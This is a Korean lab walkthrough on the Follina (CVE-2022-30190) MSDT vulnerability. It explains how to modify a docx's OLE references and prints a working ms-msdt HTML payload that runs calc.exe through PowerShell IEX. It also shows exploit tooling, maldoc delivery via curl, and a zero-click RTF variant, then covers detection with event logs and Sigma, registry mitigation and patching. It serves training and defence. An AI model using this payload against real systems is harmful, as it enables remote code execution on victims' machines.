
Microsoft는 "Word와 같은 호출 애플리케이션이 URL 프로토콜을 사용하여 MSDT를 호출할 때 원격 코드 실행 취약점이 존재합니다. 이 취약점을 성공적으로 악용한 공격자는 호출 애플리케이션의 권한으로 임의 코드를 실행할 수 있습니다. 그런 다음 공격자는 프로그램을 설치하거나, 데이터를 보거나 변경·삭제하거나, 사용자 권한이 허용하는 범위 내에서 새 계정을 만들 수 있습니다"라고 설명합니다. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft는 "Microsoft 지원 진단 도구(MSDT)는 Microsoft 지원에 보낼 정보를 수집합니다. 그러면 Microsoft 지원팀은 이 정보를 분석하여 사용자의 컴퓨터에서 발생할 수 있는 모든 문제에 대한 해결 방법을 결정하는 데 사용합니다"라고 밝히고 있습니다. 이를 고려하면, MSDT는 본질적으로 Microsoft 지원팀이 필요한 모든 정보를 출처에서 직접 얻어 무엇이 문제인지 즉시 확인할 수 있게 해주는 방법입니다.
면책 조항부터 시작하겠습니다. 이 실습에서는 Word 문서, 특히 .docx 형식을 통해 페이로드를 로드할 것입니다. 이것은 실제 환경에서 발견된 원래의 익스플로잇입니다. 그러나 이 취약점은 다른 여러 Office 제품에서도 작동하는 것으로 입증되었습니다.
이 취약점의 두 가지 중요한 측면은 다음과 같습니다: 1 - 특정 docx 파일에는 OLE(원래 Object Linking and Embedding의 약어) 개체 참조가 포함되어 있으며, 때로는 다른 곳에 호스팅된 HTML 파일의 형태를 취합니다. 2 - MS-MSDT는 코드 실행을 허용합니다.
위의 두 측면을 결합하면, MS-MSDT HTML 스킴을 사용하여 PowerShell 코드를 실행할 수 있으며, docx 파일을 Word의 외부 참조 기능을 통해 해당 코드를 로드하는 데 사용할 수 있습니다.
더 구체적으로, docx 구조를 자세히 살펴보면 "word/_rels/document.xml.rels" 파일에는 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" 속성을 가진 XML 태그가 있으며, 이는 외부 oleObject 참조를 설명합니다. 이 docx 기능을 악용하려면 Target 값을 http://<external_payload_server.com>/<payload.html>로 변경하고 TargetMode 값을 "External"로 변경하여 이 태그의 내용이 우리가 호스팅하는 페이로드를 가리키도록 편집할 수 있습니다.
word/document.xml 파일에는 <o:OLEObject...>로 시작하는 XML 태그가 있으며, 여기서 Type 값을 "Link"로 변경한 다음 Key-Value 쌍 속성인 UpdateMode="OnCall"을 추가해야 합니다.
이제 남은 유일한 작업은 Word 파일이 연결되고, 파일을 열면 지침을 받게 될 페이로드를 호스팅하는 것입니다. 이는 다음과 유사한 구조의 html 파일을 만들어 수행합니다:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
위 html 파일의 내용에서 ms-msdt:/id PCWDiagnostic /skip force /param 명령과 함께, 대상 컴퓨터에서 실행하려는 명령을 설정하는 데 사용할 수 있는 명령 스위치를 확인할 수 있습니다. 그런 다음 목적에 맞게 페이로드를 조합하여 사용할 수 있습니다.
이로써 우리는 매크로를 전혀 건드리지 않고도 원격 코드 실행을 달성할 수 있는 방법을 확보했습니다. 그리고 나중에 살펴보겠지만 악성 문서를 열지 않고도 실행할 수 있습니다.
John Hammond는 악성 문서(maldoc)를 생성하고, 결과적으로 악성 명령이 담긴 html 파일을 호스팅하는 과정을 자동화하는 도구를 만들었습니다. 이 도구는 위 링크에 문서화되어 있으며, 우리는 앞서 언급한 익스플로잇의 개념을 더 잘 이해하기 위해 이 도구의 포크 버전을 사용할 것입니다.
터미널을 열고 이 저장소를 클론한 다음 msdt-follina 저장소가 클론된 작업 디렉터리로 변경합니다.
root@host:~/Follina-MSDT# python3 follina.py
익스플로잇을 실행하면 파일이 이미 호스팅되므로 피해자 컴퓨터로 "전달"할 준비가 된 상태입니다. 원래 터미널을 연 상태로 유지한 채 다른 터미널을 열고 다음 명령을 입력하여 파일을 서버에 호스팅합니다:
root@host:~/Follina-MSDT# python -m http.server 3456
대상 컴퓨터에서 명령 프롬프트를 열고 다음 명령을 입력합니다:
C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
이 명령은 maldoc을 우리 컴퓨터에 다운로드하며, 잠시 후 Desktop에 follina.docx라는 Word 파일이 나타나 실행할 준비가 된 것을 확인할 수 있습니다. 준비가 되면 파일을 열고 어떤 일이 일어나는지 지켜보십시오. 지금은 maldoc과 그것이 생성한 모든 것이 계속 실행되도록 두겠습니다.
이 취약점의 "제로 클릭" 구현을 재현하려면 악성 Word 파일로 이동하여 귀여운 메시지(완전히 선택 사항)를 추가하고 RTF(서식 있는 텍스트 형식)로 저장하기만 하면 됩니다. 이 구현은 피해자 컴퓨터가 미리 보기 창 보기 상태에 있다고 가정합니다. 그렇지 않으면 파일을 열 때 여전히 실행되는 원래 기능으로 되돌아갑니다.
파일 탐색기를 열고 Desktop 폴더로 이동합니다. 거기에 우리가 만든, 클릭이 필요한 겉보기에는 평범한 파일이 보일 것입니다. 실제로 열지 않도록 주의하면서 한 번 클릭하고 어떤 일이 일어나는지 확인하십시오.
파일을 실제로 열지 않았음에도 불구하고 익스플로잇은 이전 실습에서와 동일한 방식으로 실행되었습니다. 이는 다음 두 가지 주요 기능 때문입니다: 1 - 파일이 열리기 전에 파일 탐색기에서 파일을 미리 볼 수 있는 기능. 2 - 문서 파일이 (다른 목적 외에도) 열리기 전에 파일 탐색기에서 미리 볼 수 있게 해주는 RTF 기능.
이 둘을 결합한 후 남용하면 방금 우리가 목격한 공격 벡터가 됩니다.
취약점 악용을 연구하는 데 사용한 Windows 컴퓨터에는 다음 항목에 대한 로깅이 활성화되도록 사전 구성되어 있습니다:
이러한 감사 메커니즘은 기본적으로 구성되어 있지 않으므로, 의심스러운 동작 탐지를 돕고 법의학 조사관이 사용할 수 있는 귀중한 데이터를 유지하기 위해 자체 환경에서 반드시 활성화해야 합니다.
이전 과정에서 우리는 취약점 악용 시 여러 흥미로운 프로세스 생성 이벤트를 식별했습니다. 이러한 프로세스 생성 이벤트는 Windows 보안 로그에 기록되며, 선호하는 뷰어로 분석하거나 중앙 집중식 로그 수집기로 전달하여 처리한 후 나중에 추가로 활용할 수 있습니다.
이 작업에서는 Nirsoft의 Windows용 Event Log Viewer를 사용하여 앞서 식별한 프로세스 생성 이벤트를 확인합니다. 그런 다음 이러한 프로세스 생성 이벤트 내에서 다른 이벤트 로그에서 단서를 찾는 데 사용할 수 있는 세부 정보를 찾아 배후에서 실제로 어떤 일이 일어났는지 더 잘 설명할 것입니다.
FullEventLogView를 엽니다. View > Use Quick Filter로 이동합니다. 로그 상단에 빠른 검색을 할 수 있는 검색 창이 나타납니다. 프로세스 생성 이벤트의 세부 정보를 확인하려면 가장 왼쪽의 드롭다운 메뉴를 클릭하고 Find Event ID (space/comma...)를 선택한 다음 제공된 검색 창에 4688을 입력합니다.
화면에 Process Creation 이벤트가 표시될 것이며, 컴퓨터와의 상호 작용이 거의 없었음에도 불구하고 그 수가 엄청나게 많다는 것을 바로 알 수 있습니다.
우리가 확인할 첫 번째 아티팩트는 winword.exe입니다. 이 프로세스의 이벤트 흐름을 이해하면 Office 프로세스가 일반적으로 msdt 악용 맥락에서 어떻게 동작하는지 파악할 수 있습니다. Ctrl+F를 눌러 찾기 기능을 실행하고 winword를 입력합니다.
아마 가장 먼저 보게 될 항목은 WINWORD.EXE가 새 프로세스로 생성되는 항목으로, New Process Name 세부 정보로 식별됩니다. 이 프로세스는 Process Command Line 세부 정보를 통해 follina.docx 파일이 열렸음을 나타냅니다. 정확히 동일하게 보이지 않아도 완전히 정상입니다. 긴 "ms-msdt"(powershell) 명령처럼 보이는 항목을 찾을 때까지 Find Next 버튼을 클릭합니다.
여기에서 WINWORD.EXE가 Creator Process, 즉 더 일반적으로 알려진 msdt.exe의 Parent Process(부모 프로세스)임을 확인할 수 있습니다. 여러 PowerShell cmdlet(명령-렛이라고 발음)과 여러 디렉터리 트래버설이 포함된 긴 명령줄 항목에 주목하십시오. 이러한 항목만으로도 환경에서 즉시 위험 신호를 올려야 합니다. 여기서 자세히 살펴볼 수 있는 유용한 단서 중 하나는 Y2FsYw== 문자열로, 디코딩하면 calc 문자열이 됩니다.
PowerShell cmdlet이 보였으므로 이 단서를 추가로 확인하기 위해 PowerShell 이벤트를 필터링하는 것이 합리적입니다. PowerShell 이벤트를 기록하는 고유한 이벤트 ID가 많기 때문에 Provider를 통해 필터링할 수 있습니다. Options > Advanced Options로 이동합니다. 두 번째 드롭다운 메뉴를 클릭하고 Show only the specific providers (comma-delimited...)를 선택합니다. PowerShell 관련 모든 공급자가 포함되도록 와일드카드(*)로 묶어 PowerShell을 입력합니다.
앞서 입력한 4688이 들어 있는 "Quick Filter" 상자를 지우면 화면에 PowerShell 공급자에서만 발생한 이벤트로 채워질 것입니다. 여기에서 위에서 기록한 PowerShell 명령의 일부를 통해 이벤트를 필터링할 수 있습니다.
이 이벤트에 도달하면 찾기 기능을 닫고 이 Scriptblock 텍스트의 흔적을 따라가면 됩니다. 키보드의 아래 키를 누르거나 이벤트를 수동으로 클릭하여 다음 이벤트로 이동할 수 있습니다. 이 scriptblock 텍스트 뒤에 이어지는 즉시 이벤트를 탐색하면 PowerShell 관점에서 calc가 단계별로 실행되는 것을 볼 수 있습니다.
Huntress의 탐지 엔지니어 Matthew Brennan이 환경에서 의심스러운 MSDT 실행을 탐지하는 sigma 규칙을 만들었습니다. 가장 좋은 점은 커뮤니티가 새로운 것을 발견할 때마다 계속 업데이트된다는 것입니다.
Sigma 규칙은 여기에서 찾을 수 있습니다 (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/)는 sigma 규칙을 선택한 SIEM 내에서 즉시 사용할 수 있는 쿼리로 변환하는 데 도움이 되는 유용한 도구입니다.
환경 전반에서 MSDT 익스플로잇을 헌팅할 때 sigma 규칙을 다음 두 가지 모두에 대한 탐지 메커니즘으로 사용할 수 있습니다:
MSDT는 실행을 중계하기 위해 또 다른 바이너리 (https://twitter.com/KyleHanslovan/status/1531114931973767168)도 사용합니다. 따라서 이 바이너리를 부모 프로세스로 하는 의심스러운 자식 프로세스는 기록하고 추가 조사해야 합니다. 위의 "redacted" 정보는 이전 작업의 질문에 대한 답변입니다. 확인은 본인의 책임입니다(스포일러 주의).
Follina 탐지: Microsoft Office 원격 코드 실행 제로데이 (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
다수의 Microsoft Defender 제품에는 탐지 메커니즘이 마련되어 있으며, 우리의 믿음직한 Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)에서 그 목록을 제공합니다.
이 취약점에 대한 패치는 2022년 6월 누적 Windows 업데이트에 포함되어 있습니다. 사용자는 이 취약점으로부터 보호받기 위해 이러한 업데이트를 설치하는 것이 필수적입니다. 가끔씩 수동으로 설치할 수도 있지만 이는 효율적이지 않고 잊어버리기 쉬우며, 업데이트 확인 및 설치를 자동화하는 옵션을 선택할 수도 있습니다.
패치가 도입되기 전에 보안 팀은 조직의 IT 관리자에게 MSDT URL 프로토콜을 즉시 비활성화하도록 급히 지시했습니다. MSDT URL 프로토콜을 비활성화하면 문제 해결사가 링크로 실행되지 않으므로 Office에서 ms-msdt를 호출할 수 없게 됩니다. 프로토콜을 비활성화하려면 먼저 관리자 권한으로 명령 프롬프트를 실행합니다.
C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt
C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup
C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f
C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
지금쯤 우리가 항상 작업 디렉터리를 Desktop으로 변경하고 있다는 것을 알아차렸을 것입니다. 이는 명령이 환경에 도입하는 변경 사항(파일 생성)을 즉시 확인할 수 있기 때문입니다. 파일 생성은 상당히 눈에 띕니다. 그러나 이것이 어떤 환경에서도 모범 사례인 것은 결코 아닙니다.
첫 번째 reg query 명령은 키가 존재하는지 빠르게 확인하는 것입니다. 그다음의 reg export는 키를 파일로 내보내 Microsoft가 이 취약점에 대한 더 영구적인 수정을 제공할 때 나중에 시스템에 다시 통합할 수 있게 해줍니다. 내보낸 파일은 현재 작업 디렉터리(이 경우 Desktop)에 저장됩니다. reg delete 명령은 실제로 MSDT URL 프로토콜을 비활성화하는 명령으로, 본질적으로 시스템에서 키를 완전히 제거하기 때문입니다. 마지막 reg query 명령은 키가 더 이상 존재하지 않는지 확인하는 명령입니다.
Windows 컴퓨터에서 MSDT URL 프로토콜을 비활성화한 후, 익스플로잇을 다시 트리거하여 컴퓨터에 어떤 영향을 미치는지 확인해 보겠습니다. 이는 성공 여부와 관계없이 우리의 통제가 공격을 포착할 수 있는지 확인하는 좋은 방법입니다.
환경에서 Microsoft Defender for Endpoint를 사용하는 경우 ASR 규칙인 Block all Office applications from creating child를 활성화하십시오. 그렇게 해서는 안 되는 서비스에서 자식 프로세스를 생성하는 것은 맬웨어 사이에서 흔한 패턴입니다. 추가 자료: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
마지막으로, 이 주제를 마무리하는 방법으로 간단하고 쉽게 배포할 수 있는 몇 가지 해결 절차를 선택했습니다. Microsoft는 이미 PowerShell 인젝션을 차단하는 패치를 출시하여 해당 공격 벡터를 효과적으로 무력화했습니다.